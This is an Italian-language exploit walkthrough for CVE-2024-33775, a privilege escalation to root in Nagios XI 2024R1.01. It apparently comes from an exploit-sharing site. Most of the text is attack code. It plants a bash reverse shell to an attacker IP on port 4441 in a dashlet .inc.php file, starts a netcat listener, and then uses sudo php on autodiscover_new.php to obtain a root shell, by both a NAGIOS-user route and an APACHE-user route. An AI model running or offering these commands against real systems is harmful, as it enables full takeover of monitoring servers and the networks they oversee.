CVE-2024-33775

CVE scoperto da: K. Wahab (Neo`X)

Dettagli della vulnerabilità:

• Prodotto: Nagios XI Versione 2024R1.01
• Vulnerabilità: Escalation dei privilegi dagli utenti "NAGIOS" o "APACHE"
• Risultato: Accesso root completo sul sistema target
• CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33775

Exploit:

In questo esempio viene utilizzato RSS Dashlet.

1. Creare una nuova istanza di Nagios XI:

• Puoi scaricare il file OVA di Nagios XI Versione 2024R1.01 da: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova

2. Escalation dei privilegi:

Exploit come NAGIOS:

• Aggiungi all'interno del file dashlet .inc.php in "/usr/local/nagiosxi/html/includes/dashlets/" il seguente contenuto:

exec('/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1);

• Avvia un server Netcat in ascolto sulla macchina dell'attaccante:

nc -nlvp 4441

• Esegui il seguente comando per aumentare i privilegi e ricevere una connessione come root:

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

Exploit come APACHE:

• Vai alla pagina di gestione dei "dashlets" e scarica una Dashlet:

  root@kitploit:~

  http://TARGET_IP/nagiosxi/admin/dashlets.php?download=rss_dashlet
  

• Modifica il file *.inc.php:

  root@kitploit:~

  exec("sleep 30 && /bin/bash -c '/bin/bash -i >& /dev/tcp/<Attacker IP>/4441 0>&1'");
  

• Avvia un server Netcat in ascolto sulla macchina dell'attaccante:

nc -nlvp 4441

• Carica la dashlet dannosa nella pagina di gestione dei dashlets e attendi la connessione come utente APACHE.
• Esegui il seguente comando per aumentare i privilegi e ricevere una connessione come root:

sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1

(Nota: dopo aver eseguito il comando riceverai la connessione come APACHE, usa CTRL+C per uscire e riavvia il listener più volte)